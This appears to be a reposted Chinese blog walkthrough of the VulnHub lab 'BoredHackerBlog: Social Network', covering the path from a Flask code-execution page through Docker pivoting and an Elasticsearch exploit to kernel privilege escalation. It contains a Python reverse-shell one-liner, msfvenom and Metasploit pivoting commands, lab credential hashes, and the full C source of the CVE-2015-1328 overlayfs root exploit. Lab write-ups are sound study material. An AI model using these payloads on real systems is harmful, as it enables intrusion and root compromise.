其他分享
首页 > 其他分享> > vulnhub_BoredHackerBlog: Social Network

vulnhub_BoredHackerBlog: Social Network

作者:互联网

地址:https://www.vulnhub.com/entry/boredhackerblog-social-network,454/

启动靶机

注意事项:

  1. 网卡选host only
  2. 禁用usb调试

寻找靶机

因为靶机与kali处于同一网段,所以使用二层的arp来寻找

arp-scan -l

靶机为第三个 192.168.56.104

 

对靶机进行全端口扫描

nmap -p- 192.168.56.104

开放了22,5000端口,下面对这两个端口的服务进行探测

python框架的web服务器

 

访问这个页面

扫描目录

dirsearch -u http://192.168.56.104:5000/

进入后台

可以执行python代码,尝试python反弹shell

#python reverse shell
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.103",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

 

直接反弹回了一个root??

目录下面有个Dockerfile

Dockerfile是启动docker的部署文件,是一个标准化部署的模板文件

所以有可能我们获得的root只是一个docker容器里的权限

判断是否为docker容器的两种方法:

  1. 查看根目录下面是否有 .dockerenv文件
  2. cat /proc/1/cgroup

/proc/1/cgroup 是第一个进程的相关信息,所以确定这是个docker容器

 

docker容器的ip信息,和主机不在一个网段

 

这里的docker容器所在的网段可以看作一个内网,这个时候的思路就应该是探测这个网段里其他的主机,然后在他们中间寻找漏洞,进一步获取更多的信息,攻击更多的系统

 

内网渗透

内网主机发现

对内网网段每一个ip地址发包,查看是否存活,可以简单写一个脚本

for i in $(seq 1 10);do ping -c 1 172.17.0.$i;done

也可以用msf先生成一个更强的反弹shell

msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.56.103 lport=8888 > shell.py

通过msf连接,启动我们的msf

msf6 > use exploit/multi/handler 
msf6 exploit(multi/handler) > set payload python/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.56.103
msf6 exploit(multi/handler) > set lport 8888
msf6 exploit(multi/handler) > run

路由和pivoting https://www.fujieace.com/metasploit/pivoting.html

https://www.cnblogs.com/lvhmst/p/14529592.html

meterpreter > run autoroute -s 172.17.0.0/16
meterpreter > run autoroute -p

进行内网扫描

meterpreter > run auxiliary/scanner/portscan/tcp rhosts=172.17.0.0/24

发现一台开着9200端口的机子,9200端口是elasticsearch的服务

下面建立socks代理

meterpreter > background  # 退出session
msf6 exploit(multi/handler) > use auxiliary/server/socks_proxy 
msf6 auxiliary(server/socks_proxy) > set srvhost 192.168.56.103
msf6 auxiliary(server/socks_proxy) > set srvport 1080
msf6 auxiliary(server/socks_proxy) > run


proxychains设置

sudo vi /etc/proxychains4.conf

[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
#socks4     127.0.0.1 9050
socks5    192.168.56.103 1080

elasticsearch命令执行

proxychains4 curl http://172.17.0.3:9200/ 

查询到elasticsearch的版本为1.4.2

发现有漏洞

把源码cp出来

cp /usr/share/exploitdb/exploits/linux/remote/36337.py ./


该漏洞需要插入一条数据才能利用,先插入一条数据

proxychains4 curl -X POST 'http://172.17.0.3:9200/doc/test' -d '{"name" : "testttt"}'


然后使用exp

proxychains4 python 36337.py 172.17.0.3

拿到root权限,不过这好像也是一台docker容器

发现了passwords文件

john:3f8184a7343664553fcb5337a3138814 (1337hack)
test:861f194e9d6118f3d942a72be3e51749(1234test)
admin:670c3bbc209a18dde5446e5e6c1f1d5b(1111pass)
root:b3d34352fc26117979deabdf1b9b6354(1234pass)
jane:5c158b60ed97c723b673529b8a3cf72b(1234jane)


这就是信息的扩大收集,我们可以通过其中一个账号登录别的主机

登录进了我们一开始的那台开放了22端口的主机

内核提权

拿到这台机子的root权限才是我们的目的

 

查看系统内核

3.13是很老的内核版本,所以可以考虑内核提权

查询漏洞库

点击查看代码
/*
# Exploit Title: ofs.c - overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE : CVE-2015-1328     (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)

*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
CVE-2015-1328 / ofs.c
overlayfs incorrect permission handling + FS_USERNS_MOUNT

user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
user@ubuntu-server-1504:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
user@ubuntu-server-1504:~$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user)

greets to beist & kaliman
2015-05-24
%rebel%
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>

#define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n    return _real_getuid();\n}\n"

static char child_stack[1024*1024];

static int
child_exec(void *stuff)
{
    char *file;
    system("rm -rf /tmp/ns_sploit");
    mkdir("/tmp/ns_sploit", 0777);
    mkdir("/tmp/ns_sploit/work", 0777);
    mkdir("/tmp/ns_sploit/upper",0777);
    mkdir("/tmp/ns_sploit/o",0777);

    fprintf(stderr,"mount #1\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
            fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
            exit(-1);
        }
        file = ".access";
        chmod("/tmp/ns_sploit/work/work",0777);
    } else file = "ns_last_pid";

    chdir("/tmp/ns_sploit/o");
    rename(file,"ld.so.preload");

    chdir("/");
    umount("/tmp/ns_sploit/o");
    fprintf(stderr,"mount #2\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
            exit(-1);
        }
        chmod("/tmp/ns_sploit/work/work",0777);
    }

    chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
    umount("/tmp/ns_sploit/o");
}

int
main(int argc, char **argv)
{
    int status, fd, lib;
    pid_t wrapper, init;
    int clone_flags = CLONE_NEWNS | SIGCHLD;

    fprintf(stderr,"spawning threads\n");

    if((wrapper = fork()) == 0) {
        if(unshare(CLONE_NEWUSER) != 0)
            fprintf(stderr, "failed to create new user namespace\n");

        if((init = fork()) == 0) {
            pid_t pid =
                clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
            if(pid < 0) {
                fprintf(stderr, "failed to create new mount namespace\n");
                exit(-1);
            }

            waitpid(pid, &status, 0);

        }

        waitpid(init, &status, 0);
        return 0;
    }

    usleep(300000);

    wait(NULL);

    fprintf(stderr,"child threads done\n");

    fd = open("/etc/ld.so.preload",O_WRONLY);

    if(fd == -1) {
        fprintf(stderr,"exploit failed\n");
        exit(-1);
    }

    fprintf(stderr,"/etc/ld.so.preload created\n");
    fprintf(stderr,"creating shared library\n");
    lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
    write(lib,LIB,strlen(LIB));
    close(lib);
    lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
    if(lib != 0) {
        fprintf(stderr,"couldn't create dynamic library\n");
        exit(-1);
    }
    write(fd,"/tmp/ofs-lib.so\n",16);
    close(fd);
    system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
    execl("/bin/su","su",NULL);
}

目标主机没有gcc,无法生成动态库

因此我们把生成动态库的代码段删了或者注释掉

找到她所需要的动态库

对代码进行编译

启动一个HTTP服务

在目标靶机上用wget下载

为了提权成功,移动2个文件到/tmp/目录

拿到目标靶机的root权限

总结

主机发现

端口扫描--5000端口的web应用

发现远程代码执行漏洞,获取一个反弹shell,但是是容器系统

对内网的ip地址段进行发现,获取到2个内网地址

挂上代理进行内网穿透,发现一个开启了9200端口

尝试对elasticsearch进行漏洞利用,拿到shell,但还是一个容器

在容器里发现了账号密码,对所有开放22端口的主机进行测试(一开始的

ssh成功链接,但是只是普通用户,通过内核提权

在本机导出动态库文件,本机编译,传输提权

拿到root权限

参考:https://blog.csdn.net/GALi_233/article/details/119841078?utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7Edefault-8.no_search_link&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7Edefault-8.no_search_link

标签:tmp,BoredHackerBlog,Network,lib,include,vulnhub,stderr,sploit,ns
来源: https://www.cnblogs.com/aeqaqstudy/p/15350944.html